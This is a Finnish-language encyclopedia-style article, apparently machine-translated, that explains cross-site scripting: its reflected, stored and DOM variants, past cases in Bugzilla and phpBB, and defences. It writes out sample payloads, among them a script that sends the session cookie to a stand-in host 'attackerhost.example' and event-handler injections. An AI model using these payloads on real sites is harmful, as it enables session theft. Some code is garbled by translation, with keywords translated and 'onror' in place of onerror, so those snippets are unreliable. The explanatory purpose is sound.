XSS ( englanniksi Cross-Site Scripting - "cross -site scripting ") - eräänlainen hyökkäys verkkojärjestelmiä vastaan , joka koostuu haitallisen koodin lisäämisestä verkkojärjestelmän julkaisemalle sivulle (joka suoritetaan käyttäjän tietokoneella , kun hän avautuu tämä sivu) ja tämän koodin vuorovaikutus hyökkääjän verkkopalvelimen kanssa. Se on muunnelma Code Injection -hyökkäyksestä .
Tällaisten hyökkäysten erityispiirre on, että haitallinen koodi voi käyttää käyttäjän valtuutusta verkkojärjestelmässä saadakseen laajennettua pääsyä siihen tai hankkiakseen käyttäjän valtuutustietoja. Haitallista koodia voidaan lisätä sivulle joko verkkopalvelimen haavoittuvuuden kautta tai käyttäjän tietokoneessa olevan haavoittuvuuden kautta [1] .
Termi on lyhennetty nimellä "XSS", jotta vältetään sekaannukset CSS -lyhennettä käyttävien peräkkäisten tyylisivujen kanssa.
XSS on kolmannella sijalla verkkosovellusten avainriskeissä OWASP 2021 :n [2] mukaan . Ohjelmoijat eivät pitkään aikaan kiinnittäneet niihin riittävästi huomiota, koska he pitivät niitä vaarattomina. Tämä mielipide on kuitenkin virheellinen: sivulla tai HTTP-evästeessä voi olla erittäin arkaluontoista tietoa (esimerkiksi järjestelmänvalvojan istunnon tunniste tai maksutositteiden numerot), ja jos CSRF - suojaa ei ole , hyökkääjä voi suorittaa mitä tahansa toimintoja. käyttäjän käytettävissä. Sivustonvälistä komentosarjaa voidaan käyttää DoS-hyökkäyksen suorittamiseen [3] .
Internetin turvallisuutta valvotaan monilla mekanismeilla, mukaan lukien tärkeä käsite, joka tunnetaan nimellä verkkotunnuksen rajoitussääntö . Tämä sääntö sallii saman sivuston sivuilla (https://mybank.example.com) olevien komentosarjojen pääsyn toistensa menetelmiin ja ominaisuuksiin ilman rajoituksia, mutta estää pääsyn useimpiin menetelmiin ja ominaisuuksiin toisen sivuston sivuille (https:// othersite .example.com) (linkki ei saatavilla) [4] .
Cross-site scripting hyödyntää tunnettuja haavoittuvuuksia verkkosovelluksissa, palvelimissa (tai niihin liittyvissä järjestelmälaajennuksissa). Yhtä niistä käyttämällä hyökkääjä upottaa haitallista sisältöä jo hakkeroidun sivuston sisältöön. Tämän seurauksena käyttäjä saa yhdistettyä sisältöä verkkoselaimeen , joka on toimitettu luotettavasta lähteestä ja toimii siten tälle järjestelmälle myönnettyjen lupien mukaisesti. Onnistuttuaan syöttämään tarvittavan skriptin verkkosivulle, hyökkääjä voi saada korkeammat oikeudet työskennellä verkkosivujen, evästeiden ja muiden selaimeen tallennettujen tietojen kanssa tietylle käyttäjälle.
Ilmaisu "cross-site scripting" tarkoitti alun perin haavoittuvan verkkosovelluksen vuorovaikutusta hyökkääjän sivuston kanssa siten, että hyökkääjän valmistama JavaScript -koodi suoritettiin hyökkäyksen kohteena olevan verkkotunnuksen yhteydessä (heijastettu tai tallennettu XSS-haavoittuvuus). Vähitellen määritelmä alkoi sisältää muita tapoja upottaa koodia, mukaan lukien vahvojen ja ei-JavaScript-kielten käyttö (kuten ActiveX , Java , VBScript , Flash ja jopa HTML ), mikä aiheutti hämmennystä tietoturvan uusien tulokkaiden keskuudessa . [5]
XSS-hyökkäykset React JS -kirjastoa vastaan estetään suurelta osin, koska kaikki muunnetaan merkkijonoiksi ennen renderöintiä. Tämä varmistaa, että kukaan ei koskaan lisää mitään, mitä JS-kehittäjä ei ole erikseen kirjoittanut verkkosovellukseen.
XSS-haavoittuvuuksista on raportoitu ja niitä on käytetty hyväksi 1990-luvun puolivälistä lähtien [ 6] . Merkittäviä sivustoja, joihin aiemmin vaikuttaa, ovat sosiaaliset verkostot , kuten Twitter [7] , VKontakte [8] , MySpace [9] , YouTube [10] , Facebook [11] ja muut.
Sivustojen välisellä komentosarjalla ei ole selkeää luokitusta. Mutta useimmat asiantuntijat erottavat ainakin kaksi XSS-tyyppiä: "heijastettu" ("heijastettu XSS" tai "tyyppi 1") ja "tallennettu" ("tallennettu XSS" tai "tyyppi 2") .
Heijastunut haavoittuvuushyökkäys on ylivoimaisesti yleisin XSS-hyökkäys [13] . Nämä haavoittuvuudet ilmenevät, kun web-asiakkaan toimittamat tiedot, yleisimmin HTTP-pyyntöparametreina tai HTML-muodossa , suoritetaan suoraan palvelinpuolen komentosarjoilla, jotka jäsentävät ja näyttävät kyseisen asiakkaan tulossivun ilman asianmukaista käsittelyä [14] . Heijastunut XSS-hyökkäys käynnistyy, kun käyttäjä napsauttaa erityisesti muodostettua linkkiä.
Esimerkki:
http://example.com/search.php?q= < script > DoSomething ();</ script >Jos sivusto ei välty kulmasulkeista muuntamalla ne muotoiksi " <" ja " >", saamme skriptin hakutulossivulle.
Heijastuneet hyökkäykset lähetetään yleensä sähköpostitse tai julkaistaan verkkosivulla. Syötin URL -osoite ei ole epäilyttävä, vaan se osoittaa luotettuun sivustoon, mutta sisältää XSS-vektorin. Jos luotettu sivusto on haavoittuvainen XSS-vektorille, linkin seuraaminen voi saada uhrin selaimen suorittamaan upotetun komentosarjan.
Tallennettu (pysyvä)Tallennettu XSS on tuhoisin hyökkäystyyppi. Tallennettu XSS on mahdollista, kun hyökkääjä onnistuu syöttämään haitallista koodia palvelimeen, joka suoritetaan selaimessa aina, kun alkuperäiselle sivulle käännytään. Klassinen esimerkki tästä haavoittuvuudesta ovat foorumit, joissa on sallittua jättää kommentteja HTML-muodossa ilman rajoituksia, sekä muut Web 2.0 -sivustot (blogit, wikit, kuvataulut ), kun käyttäjien tekstejä ja kuvia on tallennettu palvelimelle. Näihin teksteihin ja kuviin lisätään skriptejä.
Koodinpätkä istuntotunnuksella varustetun avaimen varastamista varten:
< script > asiakirja . location = "http://attackerhost.example/cgi-bin/cookiesteal.cgi?" + asiakirja . eväste </ script > DOM-mallitXSS DOM:ssa tapahtuu asiakaspuolella JavaScript-komentosarjan sisällä tapahtuvan tietojenkäsittelyn aikana. Tämän tyyppinen XSS on saanut nimensä, koska se on toteutettu DOM:n (Document Object Model) kautta - alustasta ja kielestä riippumattoman ohjelmointirajapinnan kautta, jonka avulla ohjelmat ja komentosarjat voivat päästä käsiksi HTML- ja XML-dokumenttien sisältöön sekä muuttaa sisältöä, tällaisten asiakirjojen rakenne ja suunnittelu. Väärällä suodatuksella on mahdollista muokata hyökkäyksen kohteena olevan sivuston DOM:ia ja saavuttaa JavaScript-koodin suorittaminen hyökkäyksen kohteena olevan sivuston yhteydessä.
Esimerkki:
< body > < script > - asiakirja . kirjoittaa ( sijainti . href );</ script > </ body >XSS DOM -esimerkki on bugi , joka löydettiin vuonna 2011 useista jQuery - laajennuksista [15] . XSS DOM -estotekniikat sisältävät toimenpiteitä, jotka ovat tyypillisiä perinteiselle XSS:lle, mutta toteutetaan javascriptillä ja lähetetään web-sivuille - syötteen validointi ja hyökkäysten esto [16] . Joissakin JavaScript- kehyksissä on sisäänrakennettu suojaus näitä ja muita hyökkäyksiä vastaan, kuten AngularJS [17] .
Bugzilla , 2004 [19] Joissakin selaimissa (ainakin Internet Explorer ) URL-osoitetta määritettäessä
http://bugzilla.mozilla.org/enter_bug.cgi ? <script>alert('foo');</script>URL-koodausta ja koodia ei ole
asiakirja . write ( "<p>URL: " + asiakirja . sijainti + "</p>" );lisää skripti sivulle.
Virheiden vuoksi selain voi suorittaa komentosarjoja SVG -muodossa , mikä rikkoo Same Domain Policy -sääntöä . Nämä ovat vakavia virheitä; kun ne on löydetty, ne suljetaan nopeasti, mutta siirtymäkauden aikana lähes kaikista Web 2.0 -sivustoista tulee vaarallisia : foorumit, wikit, kuvataulut. Jos tällainen virhe löytyy, on suositeltavaa käyttää toista selainta, kunnes päivitys julkaistaan.
On myös hienovaraisempia virheitä, jotka ilmenevät hyvin erityisissä olosuhteissa eivätkä aiheuta suurta vahinkoa. Tällaisia virheitä ei ehkä korjata vuosiin ja on kannattavampaa korjata sivusto kuin odottaa selaimen päivitystä.
Ei HTML-erikoismerkkien pakottamista Kaikessa mukautetussa tekstissä on oltava koodinvaihtomerkkiphpBB , 2002 [20] [21] . Vaikka kuvan URL-osoite tarkistetaan protokollan suhteen (vain sallittu http:), itse URL-osoitetta ei ole millään tavalla erotettu, ja rivi, kuten
[img] http://aa/a "onror=" javascript:alert(document.cookie)[/img]voit vetää mukautetun skriptin dokumenttiin.
Verkkosivustovirheet ovat paljon yleisempiä. Jotta selain ei erehdy sekoittamaan merkkijonoa HTML-tunnisteeksi, sinun on syötettävä viisi merkkiä : '"&<>. Palvelin ei välttämättä vältä kaikkia merkkejä (tuttu PHP -virhe [22] ), tai web-ohjelmoija yksinkertaisesti unohtaa välttää merkkijonon.
Normaalisti teksti tallennetaan tietokantoihin ilman koodinvaihtomerkkejä , ja kaikki mukautetut merkkijonot on vaihdettava joka kerta, kun ne upotetaan HTML-koodiin: jos esimerkiksi kuvan URL -osoitetta ei ole merkitty koodinvaihtomerkillä , käyttäjä voi kirjoittaa esimerkiksi http://example.com/img.png" onmouseover="javascript:DoSomething();.
Monet sivustot sallivat tekstin muotoilun käyttämällä jonkinlaista merkintäkieltä ( HTML , BBCode , wiki-merkintä ). Usein merkintäkielen täydellistä leksikaalista analyysiä ei suoriteta, vaan se muunnetaan "turvalliseksi" HTML:ksi säännöllisten lausekkeiden avulla [23] . Tämä yksinkertaistaa ohjelmointia, mutta vaatii perusteellisen ymmärryksen siitä, kuinka komentosarja voi tunkeutua tuloksena olevaan HTML-koodiin.
Ei määritteiden ja niiden arvojen suodatusta sallituissa tunnisteissaTyypillinen esimerkki olisi linkki <a href="javascript:DoSomething()">. Vaikka foorumi sallisi ulkoiset linkit, sinun ei pidä antaa protokollia javascript:ja data:.
Muut hyökkäykset eivät ole XSS:ää, mutta muut hyökkäykset eivät ole vähemmän haitallisia: hakkeri voi määrittää osoitteeksi palvelimen, jolla on kapea Internet-kanava, halvaantaen sen työn suurella määrällä pyyntöjä, tai käyttää sitä XSRF - hyökkäyksen järjestämiseen.
Koodauksen muuttaminen sivun otsikossaNykyaikaiset selaimet yrittävät määrittää sivun koodauksen lennossa ja tulkita html:ää sen koodauksen mukaan. Jos tunniste <title>sijaitsee ennen tunnistetta ja on täynnä käyttäjätietoja, hakkeri voi lisätä haitallisen UTF-7-<meta> koodatun html-koodin ohittaen siten merkkien, kuten , suodatuksen . Suojautuaksesi tätä haavoittuvuutta vastaan, sinun on määritettävä sivun koodaus erikseen ennen mukautettuja kenttiä. HTML 5 kieltää selaimen tuen UTF-7-koodaukselle mahdollisesti vaarallisena. [24]<"
SQL-injektion kauttaJos sivusto sekä sallii SQL-koodin syöttämisen että näyttää tietokannan sisällön ilman pakenemista (joko tietämättömyydestä tai valmis HTML-koodi on tallennettu tietokantaan, [25] tai kirjoittaja tietää varmasti, että eivät ole "huonoja" merkkejä tietokannassa), voit suorittaa epätavallisen hyökkäyksen.
Lisäämällä SQL-koodin kirjoitamme "myrkytys"-sivun tietokantaan. Jos joku pääsee käsiksi tälle tietokantariville, hänen selaimeensa tulee haitallinen komentosarja. Hyökkäyksiä tapahtuu ilman HTML:n tallentamista tietokantaan - DBMS palauttaa tietokantaan tallennetun kentän sijaan komentosarjan, joka on kirjoitettu pyyntötekstiin.
Aktiivinen XSS-hyökkäys ei vaadi käyttäjältä mitään verkkosovelluksen toiminnallisuuden kannalta.
Esimerkki:
<input type=text value=a onfocus=alert(1337) AUTOFOCUS>
Tämä esimerkki näyttää syöttökentän, jossa on fokusointitapahtuman käsittelijä, joka suorittaa varsinaisen hyökkäyskoodin, ja automaattisen tarkennuksen asetusominaisuus on aktivoitu tälle syöttökentälle. Tämä asettaa tarkennuksen automaattisesti, joka kutsuu hyökkäyskoodin sisältävän tarkennussarjan käsittelijän. Hyökkäys on aktiivinen ja suoritetaan automaattisesti ilman, että käyttäjä tarvitsee mitään.
Passiivinen (autonominen)Passiivinen XSS-hyökkäys laukeaa, kun käyttäjä suorittaa tietyn toiminnon (napsauta tai vie hiiren osoitinta jne.).
Esimerkki:
<a href='a' onmouseover=alert(1337) style='font-size:500px'>
Esimerkki näyttää hyperlinkin, joka vangitsee käyttäjän huomion erityisellä tavalla ja/tai vie huomattavan määrän tilaa, mikä lisää todennäköisyyttä, että hiiren osoitin liikkuu, tässä tapauksessa isolla kirjaimilla. Hyperlinkissä on hiiren osoitin tapahtumakäsittelijä, joka sisältää hyökkäyskoodin. Hyökkäys on passiivinen, koska se ei tee mitään ja hyökkäyskoodia ei suoriteta odottaessaan, että käyttäjä vie hiiri linkin päälle.